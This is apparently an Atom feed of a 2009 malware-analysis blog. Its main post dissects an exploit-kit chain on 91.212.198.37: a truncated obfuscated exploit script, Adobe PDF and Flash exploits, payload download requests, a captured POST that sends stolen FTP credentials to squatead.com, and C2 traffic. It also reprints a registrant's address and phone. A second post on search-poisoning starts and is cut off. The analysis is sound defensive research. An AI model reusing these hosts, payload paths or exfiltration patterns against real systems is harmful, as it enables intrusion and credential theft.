<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-3812859427594797116</id><updated>2012-02-16T07:26:06.912-05:00</updated><category term='Erin Andrews'/><category term='obfuscation'/><category term='0day'/><category term='Zefarch'/><category term='McCain'/><category term='direct84.com'/><category term='SOFTLAYER Technologies Inc'/><category term='Zbot'/><category term='nihaorr1.com'/><category term='Trojan.Virantix.C'/><category term='FlashCodecPlugin.exe'/><category term='SQL injection'/><category term='MediaPlayer.exe'/><category term='Waledac'/><category term='Asprox'/><category term='Innovation IT Solutions Corp'/><category term='Flash'/><category term='spam'/><category term='Alueron'/><category term='codec'/><category term='Gozi'/><category term='Obama'/><category term='ecard'/><category term='Adobe PDF'/><category term='srv.ad-adnet.net'/><category term='decoding'/><category term='Infostealer'/><category term='winzipices.cn'/><category term='rustock'/><category term='419'/><category term='CVE-2009-1862'/><category term='CVE-2008-2992'/><category term='Pushdo'/><category term='Nine-Ball'/><category term='botnet'/><category term='Haxdoor'/><category term='Gimmiv'/><category term='advance-fee fraud'/><category term='Gh0st Rat'/><category term='91.212.198.37'/><category term='W32.Wecorl'/><category term='Malspam'/><category term='adxdnet.net'/><category term='Fast Flux'/><category term='GhostNet'/><category term='Win32/Daurso'/><category term='buffer overflow'/><category term='soft4youupdat.org'/><category term='Infostealer.Onlinegame'/><category term='Gold VIP Club Casino'/><category term='MS08-067'/><category term='Gumblar'/><category term='PSW.OnlineGames'/><title type='text'>xpl0it Analysis</title><subtitle type='html'>Dedicated to incident, exploit and malware analysis</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://xanalysis.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3812859427594797116/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://xanalysis.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>-kc</name><uri>http://www.blogger.com/profile/10201182625344593178</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>24</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-3812859427594797116.post-1167171726297707077</id><published>2009-07-26T15:43:00.017-04:00</published><updated>2009-07-26T18:15:52.125-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='CVE-2009-1862'/><category scheme='http://www.blogger.com/atom/ns#' term='Adobe PDF'/><category scheme='http://www.blogger.com/atom/ns#' term='91.212.198.37'/><category scheme='http://www.blogger.com/atom/ns#' term='Win32/Daurso'/><category scheme='http://www.blogger.com/atom/ns#' term='Flash'/><category scheme='http://www.blogger.com/atom/ns#' term='0day'/><category scheme='http://www.blogger.com/atom/ns#' term='Trojan.Virantix.C'/><title type='text'>91.212.198.37 Badness</title><content type='html'>&lt;span style="font-weight:bold;"&gt;IP/Domain Analysis&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;IP address 91.212.198.37 is registered to (AS49314 NEVAL PE Nevedomskiy Alexey Alexeevich, Russia). The 91.212.198.0/24 netblock has been associated with various forms of cyber criminal activity.&lt;br /&gt;&lt;br /&gt;inetnum:        91.212.198.0 - 91.212.198.255&lt;br /&gt;netname:        NEVAL&lt;br /&gt;descr:          Individual retailer Nevedomskiy A A&lt;br /&gt;country:        RU&lt;br /&gt;org:            ORG-IrNA1-RIPE&lt;br /&gt;admin-c:        NAA21-RIPE&lt;br /&gt;tech-c:         NAA21-RIPE&lt;br /&gt;status:         ASSIGNED PI&lt;br /&gt;mnt-by:         RIPE-NCC-END-MNT&lt;br /&gt;mnt-by:         NEVAL-mnt&lt;br /&gt;mnt-lower:      RIPE-NCC-END-MNT&lt;br /&gt;mnt-routes:     NEVAL-mnt&lt;br /&gt;mnt-domains:    NEVAL-mnt&lt;br /&gt;source:         RIPE # Filtered&lt;br /&gt;&lt;br /&gt;organisation:   ORG-IrNA1-RIPE&lt;br /&gt;org-name:       Individual retailer Nevedomskiy Alexey Alexeevich&lt;br /&gt;abuse-mailbox:   mailto:abuse.lirkz@gmail.com&lt;br /&gt;org-type:       OTHER&lt;br /&gt;address:        Russian Federation&lt;br /&gt;mnt-ref:        NEVAL-mnt&lt;br /&gt;mnt-by:         NEVAL-mnt&lt;br /&gt;source:         RIPE # Filtered&lt;br /&gt;&lt;br /&gt;The IP 91.212.198.37 currently maps to the following domains.&lt;br /&gt;&lt;br /&gt;• *.delzzerro.cn&lt;br /&gt;• delzzerro.cn&lt;br /&gt;• updatedate.cn&lt;br /&gt;• www.delzzerro.cn&lt;br /&gt;&lt;br /&gt;The domain delzzerro.cn was registered on 17 July 2009.&lt;br /&gt;&lt;br /&gt;Domain Name: delzzerro.cn&lt;br /&gt;ROID: 20090717s10001s59929740-cn&lt;br /&gt;Domain Status: clientTransferProhibited&lt;br /&gt;Registrant Organization: Real Host LTD&lt;br /&gt;Registrant Name: Real Host&lt;br /&gt;Administrative Email: &lt;br /&gt;Sponsoring Registrar: 广东时代互联科技有限公司 (translated as Era of the Internet Technology Co., Ltd. Guangdong)&lt;br /&gt;Name Server:ns1.everydns.net&lt;br /&gt;Name Server:ns2.everydns.net&lt;br /&gt;Registration Date: 2009-07-17 02:17&lt;br /&gt;Expiration Date: 2010-07-17 02:17&lt;br /&gt;&lt;br /&gt;The domain updatedate.cn was registered on 8 July 2009.&lt;br /&gt;&lt;br /&gt;Domain Name: updatedate.cn&lt;br /&gt;ROID: 20090708s10001s08910501-cn&lt;br /&gt;Domain Status: clientTransferProhibited&lt;br /&gt;Registrant Organization: Real Host LTD&lt;br /&gt;Registrant Name: Real Host&lt;br /&gt;Administrative Email: &lt;br /&gt;Sponsoring Registrar: 广东时代互联科技有限公司(translated as Era of the Internet Technology Co., Ltd. Guangdong)&lt;br /&gt;Name Server:ns1.everydns.net&lt;br /&gt;Name Server:ns2.everydns.net&lt;br /&gt;Registration Date: 2009-07-08 01:51&lt;br /&gt;Expiration Date: 2010-07-08 01:51&lt;br /&gt;&lt;br /&gt;The following websites provide historical malicious activity for AS49314, 91.212.198.0/24.&lt;br /&gt;&lt;br /&gt;https://zeustracker.abuse.ch/monitor.php?as=49314&lt;br /&gt;http://maliciousnetworks.org/ipinfo.php?as=AS49314&amp;date=2009-07-22&lt;br /&gt;http://www.malwaredomainlist.com/mdl.php?search=49314&amp;colsearch=All&amp;quantity=50 http://www.malwareurl.com/search.php?domain=&amp;s=AS49314&amp;match=0&amp;rp=50&amp;urls=on&amp;redirs=on&amp;ip=on&amp;reverse=on&amp;as=on&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;www.delzzerro.cn Analysis&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The HTTP request for www.delzzerro.cn returns and iframe and script redirect.&lt;br /&gt;&lt;br /&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&amp;lt;head&amp;gt;&amp;lt;title&amp;gt;400&amp;lt;/title&amp;gt;&amp;lt;/head&amp;gt;&lt;br /&gt;&amp;lt;body&amp;gt;&lt;br /&gt;&amp;lt;iframe go='400' width=1 src='/pic/p2.php' error='600' height="1"&amp;gt;&amp;lt;/iframe&amp;gt;&lt;br /&gt;&amp;lt;div id="divid"&amp;gt; &lt;br /&gt;&amp;lt;script src='/pic/vq.png'&amp;gt;&amp;lt;/script&amp;gt; &lt;br /&gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;&lt;span style="font-weight:bold;"&gt;http://www.delzzerro.cn/pic/p2.php&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The request for p2.php returns a PDF file.&lt;br /&gt;&lt;br /&gt;GET /pic/p2.php HTTP/1.1 &lt;br /&gt;Referer: http://www.delzzerro.cn/&lt;br /&gt;Host: www.delzzerro.cn Connection: Keep-Alive &lt;br /&gt;&lt;br /&gt;HTTP/1.1 200 OK&lt;br /&gt;Content-Disposition: inline; filename=36.pdf&lt;br /&gt;Content-Type: application/pdf&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;&lt;span style="font-weight:bold;"&gt;36.pdf&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;File: 36.pdf&lt;br /&gt;Size: 27243&lt;br /&gt;MD5:  FDCF2B9803F7EF55C9C90BFA7627C0E9&lt;br /&gt;&lt;br /&gt;The file 36.pdf contains exploit code targeted against 2 Adobe Reader vulnerabilities.&lt;br /&gt;&lt;br /&gt;• Adobe util.printf, CVE-2008-2992&lt;br /&gt;• Adobe getIcon, CVE-2009-0927&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;&lt;span style="font-weight:bold;"&gt;http://www.delzzerro.cn/pic/vq.png&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The vq.png file, which was included in a script tag contains JavaScript. The .png technique is for obfuscation purposes. The JavaScript is used to exploit an &lt;a href="http://www.adobe.com/support/security/advisories/apsa09-03.html"&gt;Adobe Flash 0day vulnerability&lt;/a&gt; (&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1862"&gt;CVE-2009-1862&lt;/a&gt;).&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;&lt;span style="font-weight:bold;"&gt;http://delzzerro.cn/pic/uzp.php&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The payload of the collective exploits is a GET request for uzp.php which returns the binary file installb.exe.&lt;br /&gt;&lt;br /&gt;GET /pic/uzp.php&lt;br /&gt;Host: delzzerro.cn&lt;br /&gt;&lt;br /&gt;HTTP/1.1 200 OK&lt;br /&gt;Content-Disposition: inline; filename=installb.exe&lt;br /&gt;Content-Type: application/octet-stream&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;http://91.212.198.37 Analysis&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The HTTP request for 91.212.198.37 returns and iframe, script redirect and exploit code.&lt;br /&gt;&lt;br /&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&amp;lt;head&amp;gt;&amp;lt;title&amp;gt;404&amp;lt;/title&amp;gt;&amp;lt;/head&amp;gt;&lt;br /&gt;&amp;lt;body&amp;gt;&lt;br /&gt;&amp;lt;iframe g='22' width=1 src='/img/p2.php' l='66' height="1"&amp;gt;&amp;lt;/iframe&amp;gt;&lt;br /&gt;&amp;lt;script&amp;gt;&lt;br /&gt;fg="%u2121%..;var .%u212.DE%u.1%u.%u.navigat.retVal.ibkka.var ..DE.=..return .5.C9E2.C9.0..C9.u..71.21.functio.A22.29.';.U+.+'. &lt;br /&gt;......TRUNCATED......&lt;br /&gt;split('.');for(J=u.length-1;J&amp;gt;-1;J--)Q[U]=Q[U].split(o[J]).join(u[J]);i8+=Q[U].replace(/./g,'"').replace(/./g,"\\").replace(/./g,"\n")}eval(i8);&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&amp;lt;div id="divid"&amp;gt; &lt;br /&gt;&amp;lt;script src='/img/vw.png'&amp;gt;&amp;lt;/script&amp;gt; &lt;br /&gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;span style="font-style:italic;"&gt;http://91.212.198.37/img/p2.php&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The request for p2.php returns a PDF file.&lt;br /&gt;&lt;br /&gt;GET /img/p2.php&lt;br /&gt;Referer: http://91.212.198.37/&lt;br /&gt;Host: 91.212.198.37&lt;br /&gt;&lt;br /&gt;HTTP/1.1 200 OK&lt;br /&gt;Content-Disposition: inline; filename=119.pdf&lt;br /&gt;Content-Type: application/pdf &lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;119.pdf&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;File: 119.pdf&lt;br /&gt;Size: 27360&lt;br /&gt;MD5:  26A360E37812E6D5CCF31ED06CE692D9&lt;br /&gt;&lt;br /&gt;The file 119.pdf contains exploit code targeted against 2 Adobe Reader vulnerabilities.&lt;br /&gt;&lt;br /&gt;• Adobe util.printf, CVE-2008-2992&lt;br /&gt;• Adobe getIcon, CVE-2009-0927&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;span style="font-style:italic;"&gt;http://91.212.198.37/img/vw.png&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The vw.png file, which was included in a script tag contains JavaScript. The .png technique is for obfuscation purposes. The JavaScript is used to exploit an &lt;a href="http://www.adobe.com/support/security/advisories/apsa09-03.html"&gt;Adobe Flash 0day vulnerability&lt;/a&gt; (&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1862"&gt;CVE-2009-1862&lt;/a&gt;).&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;span style="font-style:italic;"&gt;updatedate.cn/img/uzt.php&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The payload of the collective exploits is a GET request for uzt.php which returns the binary file installb.exe.&lt;br /&gt;&lt;br /&gt;GET /img/uzt.php&lt;br /&gt;Host: updatedate.cn&lt;br /&gt;&lt;br /&gt;HTTP/1.1 200&lt;br /&gt;Content-Disposition: inline; filename=installb.exe&lt;br /&gt;Content-Type: application/octet-stream&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Malware Analysis&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;span style="font-style:italic;"&gt;installb.exe&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The malware installb.exe creates:&lt;br /&gt;&lt;br /&gt;• Trojan.Virantix.C (&lt;a href="http://www.symantec.com/security_response/writeup.jsp?docid=2008-050916-1055-99&amp;tabid=2"&gt;Symantec&lt;/a&gt;) which attempts to lower system security settings, kill the process of antivirus applications and install rogue security products.&lt;br /&gt;• PWS:Win32/Daurso (Microsoft) serves as an infostealer that keylogs and exfiltrates user accounts and passwords.&lt;br /&gt;&lt;br /&gt;File: installb.exe&lt;br /&gt;Size: 113664&lt;br /&gt;MD5:  D9A878871B90C68F4A1A155A3015A8FE&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.threatexpert.com/report.aspx?md5=d9a878871b90c68f4a1a155a3015a8fe"&gt;ThreatExpert&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.virustotal.com/analisis/67953569d6bd22caa5deedbed8e417884c8c5dac4c077e647ad84b2ec2be1b51-1248489209"&gt;VirusTotal &lt;/a&gt;(4/41 current detection)&lt;br /&gt;&lt;br /&gt;The malware installb.exe creates the following files:&lt;br /&gt;&lt;br /&gt;C:\DOCUME~1\%user%\LOCALS~1\Temp\installb[1].exe&lt;br /&gt;&lt;br /&gt;File: installb[1].exe&lt;br /&gt;Size: 48128&lt;br /&gt;MD5:  9145DA932AAB97CF50B5DE8DCDF80BE9&lt;br /&gt;&lt;br /&gt;C:\WINDOWS\system32\braviax.exe&lt;br /&gt;&lt;br /&gt;File: braviax.exe&lt;br /&gt;Size: 11264&lt;br /&gt;MD5:  61FEBE4C32CE9CB0DFCF55D373E0BAFD&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.virustotal.com/analisis/fac68bf969f90a9170233bf395297aa321b59a3597681395c55b40ae5fc9ee8f-1248449046"&gt;VirusTotal &lt;/a&gt;(17/41 current detection)&lt;br /&gt;&lt;br /&gt;C:\WINDOWS\system32\dllcache\figaro.sys (is later deleted)&lt;br /&gt;&lt;br /&gt;C:\WINDOWS\drivers\beep.sys&lt;br /&gt;C:\WINDOWS\system32\dllcache\beep.sys&lt;br /&gt;&lt;br /&gt;File: beep.sys&lt;br /&gt;Size: 32768&lt;br /&gt;MD5:  B040B5812B6668A232B18D397F721741&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.virustotal.com/analisis/52ef30ff225f23d850201ac8a39a94bb916c44a3377d11b3273a1172ebbf778b-1248443493"&gt;VirusTotal&lt;/a&gt; (20/38 current detection)&lt;br /&gt;&lt;br /&gt;C:\WINDOWS\system32\Wbem\proquota.exe&lt;br /&gt;&lt;br /&gt;File: proquota.exe&lt;br /&gt;Size: 35840&lt;br /&gt;MD5:  348BA619AAB3A92B99701335F95FE2A7&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.threatexpert.com/report.aspx?md5=348ba619aab3a92b99701335f95fe2a7"&gt;ThreatExpert&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.virustotal.com/analisis/1b2333188ecf74a7ed71501d2b9126f9904f44c86d96b8095cd9f5579f6133da-1248489738"&gt;VirusTotal &lt;/a&gt;(5/41 current detection)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;span style="font-style:italic;"&gt;proquota.exe (PWS:Win32/Daurso)&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The malware proquota.exe (&lt;a href="http://www.microsoft.com/security/portal/Threat/Encyclopedia/Entry.aspx?Name=PWS%3AWin32%2FDaurso&amp;ThreatID=-2147340391"&gt;PWS:Win32/Daurso&lt;/a&gt;) connects to squatead.com (212.150184.146, AS8584 Barak Netvision 013 Barak – Network, Israel).&lt;br /&gt;&lt;br /&gt;POST /ptf/receiver/online HTTP/1.1&lt;br /&gt;Host: squatead.com &lt;br /&gt;&lt;br /&gt;The malware proquota.exe monitored and exfiltrated FTP credentials to squatead.com during dynamic analysis.&lt;br /&gt;&lt;br /&gt;POST /ptf/receiver/ftp HTTP/1.1&lt;br /&gt;Host: squatead.com&lt;br /&gt;Content-Type: application/x-www-form-urlencoded&lt;br /&gt;User-Agent: Opera/9.63 (Windows NT 5.1; U; ru) Presto/2.1.1&lt;br /&gt;Content-Length: 92&lt;br /&gt;ftp_uri_0=p7uojZW2GGxfm637v7nEye4CbV7Y5%2FKP6Y6It1wqCsfk%2BeHqgYCrXA&amp;ftp_source_0=lb250dzwDg&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Trojan.Virantix.C&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The Trojan.Virantix.C malware connects to komalinovskatas.com (66.79.178.199, AS27645 ASN-NA-MSG-01 Managed Solutions Group, Inc) in order to download the installer for the rogue security product Home Antivirus 2010. The domain komalinovskatas.com was registered on 2009/7/20.&lt;br /&gt;&lt;br /&gt;Registrant:&lt;br /&gt;Aleksandr Petrov  mailto:radar@e2mail.ru +7.3412755886&lt;br /&gt;Aleksandr Petrov&lt;br /&gt;ul.Udmurtskaya d.141 kv.110&lt;br /&gt;Izhevsk,Udmurtiya,RUSSIAN FEDERATION 426003&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Domain Name:komalinovskatas.com &lt;br /&gt;Record last updated at 2009-07-23 10:32:26&lt;br /&gt;Record created on 2009/7/20&lt;br /&gt;Record expired on 2010/7/20&lt;br /&gt;&lt;br /&gt;Home Antivirus 2010 installer download.&lt;br /&gt;&lt;br /&gt;GET /?wmid=1025&amp;d=2&amp;it=2&amp;s=24 HTTP/1.1 &lt;br /&gt;Host: komalinovskatas.com &lt;br /&gt;&lt;br /&gt;HTTP/1.1 302 Found &lt;br /&gt;Location: /2/installer/Installer.exe?u=1025&amp;s=b4eaa65e579e83c2248376cc88de9086&amp;t=2 &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;GET /2/installer/Installer.exe?u=1025&amp;s=b4eaa65e579e83c2248376cc88de9086&amp;t=2 HTTP/1.1 &lt;br /&gt;Host: komalinovskatas.com &lt;br /&gt;&lt;br /&gt;HTTP/1.1 200 OK &lt;br /&gt;Content-Disposition: attachment; filename="Install.exe"; &lt;br /&gt;&lt;br /&gt;The malware install.exe is written as c:\WINDOWS\system32\wisdstr.exe.&lt;br /&gt;&lt;br /&gt;File: wisdstr.exe&lt;br /&gt;Size: 181488&lt;br /&gt;MD5:  E68A91A3614435882DAAD5494CAE622E&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.threatexpert.com/report.aspx?md5=e68a91a3614435882daad5494cae622e"&gt;ThreatExpert&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The malware wisdstr.exe connects to bureltanovaderta.com (66.79.178.200, AS27645 ASN-NA-MSG-01 Managed Solutions Group, Inc) to download the remaining installation files associated with the rogue security product Home Antivirus 2010. The product provides false diagnostics and persistent notifications in an attempt to convince the victim to purchase a licensed version of the product.&lt;br /&gt;&lt;br /&gt;GET /files/HomeAntivirus2010/Binaries1.cab HTTP/1.1&lt;br /&gt;GET /files/HomeAntivirus2010/Binaries1.cab HTTP/1.1&lt;br /&gt;GET /files/BinariesAVE.cab HTTP/1.1&lt;br /&gt;GET /files/BinariesAVE.cab HTTP/1.1&lt;br /&gt;GET /files/BinariesAdd.cab HTTP/1.1&lt;br /&gt;GET /files/HomeAntivirus2010/BinariesGUI.cab HTTP/1.1&lt;br /&gt;GET /files/BinariesSC.cab HTTP/1.1&lt;br /&gt;GET /files/BinariesUpd.cab HTTP/1.1&lt;br /&gt;GET / HTTP/1.1&lt;br /&gt;GET /update_inst.php?wmid=1025&amp;subid=b4eaa65e579e83c2248376cc88de9086&amp;pid=2&amp;lid=0&amp;hs=F35A291E6CA636316E72ECAD75594619 HTTP/1.1&lt;br /&gt;&lt;br /&gt;The domain bureltanovaderta.com is registered nearly identical to komalinovskatas.com.&lt;br /&gt;&lt;br /&gt;Registrant:&lt;br /&gt;Aleksandr Petrov radar@e2mail.ru +7.3412755886&lt;br /&gt;Aleksandr Petrov&lt;br /&gt;ul.Udmurtskaya d.141 kv.110&lt;br /&gt;Izhevsk,Udmurtiya,RUSSIAN FEDERATION 426003&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Domain Name:bureltanovaderta.com &lt;br /&gt;Record last updated at 2009-07-24 10:06:32&lt;br /&gt;Record created on 2009/7/20&lt;br /&gt;Record expired on 2010/7/20&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_q7ApSx8GNew/Smy6SVEkyoI/AAAAAAAAAFQ/Ub2yxa68gNc/s1600-h/homeAV2010.jpg"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 224px;" src="http://4.bp.blogspot.com/_q7ApSx8GNew/Smy6SVEkyoI/AAAAAAAAAFQ/Ub2yxa68gNc/s320/homeAV2010.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5362866080348162690" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;An over-sized Windows Security center opens indicating Virus Protection is not found. The window is part of the social; engineering effort to convince victims to purchase a licensed version of Home Antivirus 2010.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_q7ApSx8GNew/Smy6hFVqilI/AAAAAAAAAFY/oKuxGagjoNY/s1600-h/secsettings.jpg"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 226px;" src="http://1.bp.blogspot.com/_q7ApSx8GNew/Smy6hFVqilI/AAAAAAAAAFY/oKuxGagjoNY/s320/secsettings.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5362866333822913106" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The malware also attempted C2 connections to cbbugltjud.com (195.2.253.240, AS12695 MADET-NET Moscow, Russia) to download additional malware. Other domains that resolve to 195.2.253.240 include:&lt;br /&gt;&lt;br /&gt;*.cabkyykbbg.com&lt;br /&gt;*.cbbugltjud.com&lt;br /&gt;cabkyykbbg.com&lt;br /&gt;cbbugltjud.com&lt;br /&gt;www.cabkyykbbg.com&lt;br /&gt;www.cbbugltjud.com&lt;br /&gt;&lt;br /&gt;GET /progs/xfcgtyylqd/iejwn&lt;br /&gt;Host: cbbugltjud.com &lt;br /&gt;&lt;br /&gt;The iejwn download creates c:\alurm.exe.&lt;br /&gt;&lt;br /&gt;File: alurm.exe&lt;br /&gt;Size: 11264&lt;br /&gt;MD5:  6BE4585C480B5C840E99BE9B190F7846&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.threatexpert.com/report.aspx?md5=6be4585c480b5c840e99be9b190f7846"&gt;ThreatExpert&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;GET /progs/xfcgtyylqd/ziwwofwj.php&lt;br /&gt;Host: cbbugltjud.com &lt;br /&gt;&lt;br /&gt;GET /progs/xfcgtyylqd/czaarfj.php?adv=adv464&lt;br /&gt;Host: cbbugltjud.com&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3812859427594797116-1167171726297707077?l=xanalysis.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xanalysis.blogspot.com/feeds/1167171726297707077/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3812859427594797116&amp;postID=1167171726297707077' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3812859427594797116/posts/default/1167171726297707077'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3812859427594797116/posts/default/1167171726297707077'/><link rel='alternate' type='text/html' href='http://xanalysis.blogspot.com/2009/07/9121219837-badness.html' title='91.212.198.37 Badness'/><author><name>-kc</name><uri>http://www.blogger.com/profile/10201182625344593178</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_q7ApSx8GNew/Smy6SVEkyoI/AAAAAAAAAFQ/Ub2yxa68gNc/s72-c/homeAV2010.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3812859427594797116.post-98191222412279625</id><published>2009-07-21T22:24:00.010-04:00</published><updated>2009-07-21T23:14:10.159-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Alueron'/><category scheme='http://www.blogger.com/atom/ns#' term='Erin Andrews'/><category scheme='http://www.blogger.com/atom/ns#' term='codec'/><category scheme='http://www.blogger.com/atom/ns#' term='MediaPlayer.exe'/><category scheme='http://www.blogger.com/atom/ns#' term='FlashCodecPlugin.exe'/><title type='text'>Erin Andrews Peepshow Gone Bad?</title><content type='html'>Fox News and other media outlets are reporting ESPN sportscaster hottie Erin Andrews was a victim of a severe invasion of privacy. Per &lt;a href="http://www.foxnews.com/story/0,2933,534205,00.html?test=faces"&gt;Fox News&lt;/a&gt;, "Sexy ESPN sportscaster Erin Andrews was the target of a peephole pervert who surreptitiously shot a video of her walking around her hotel room naked -- and posted it on the Internet."&lt;br /&gt;&lt;br /&gt;So what happens next? Tons of people search for the video before it is pulled by authorities and cyber criminals race to put up rogue exploit sites tied to common internet searches. As an example, the Google search for "Erin Andrews video nude" results in a hit for http://digg.com/celebrity/Naked_Erin_Andrews_SEX_TAPE_online_free.&lt;br /&gt;&lt;br /&gt;The digg.com link had comments with hyperlinks to the following sites (note: the sites seem to consistently change)&lt;br /&gt;&lt;br /&gt;http://video.report-cnn.com/Erin_Andrews_Peephole_Video (7/20/09)&lt;br /&gt;http://sexy-top-news.com/show.php?id=Erin_Andrews (7/21/09)&lt;br /&gt;http://vsj-news.com/video.php?vid=erin_andrews_peephole_video (7/21/09)&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_q7ApSx8GNew/SmZ6ZzqiIhI/AAAAAAAAAEg/_dEvK-g3de4/s1600-h/dig1.jpg"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 193px;" src="http://2.bp.blogspot.com/_q7ApSx8GNew/SmZ6ZzqiIhI/AAAAAAAAAEg/_dEvK-g3de4/s320/dig1.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5361106990215078418" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;So lets follow the links to see the video :)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;video.report-cnn.com&lt;/span&gt; (72.232.116.51)&lt;br /&gt;&lt;br /&gt;Wow, CNN Video has the video!&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_q7ApSx8GNew/SmZ8j1ENhZI/AAAAAAAAAEo/8XwAWX1DYLU/s1600-h/report-cnn_pic1.jpg"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 270px;" src="http://1.bp.blogspot.com/_q7ApSx8GNew/SmZ8j1ENhZI/AAAAAAAAAEo/8XwAWX1DYLU/s320/report-cnn_pic1.jpg" border="0" 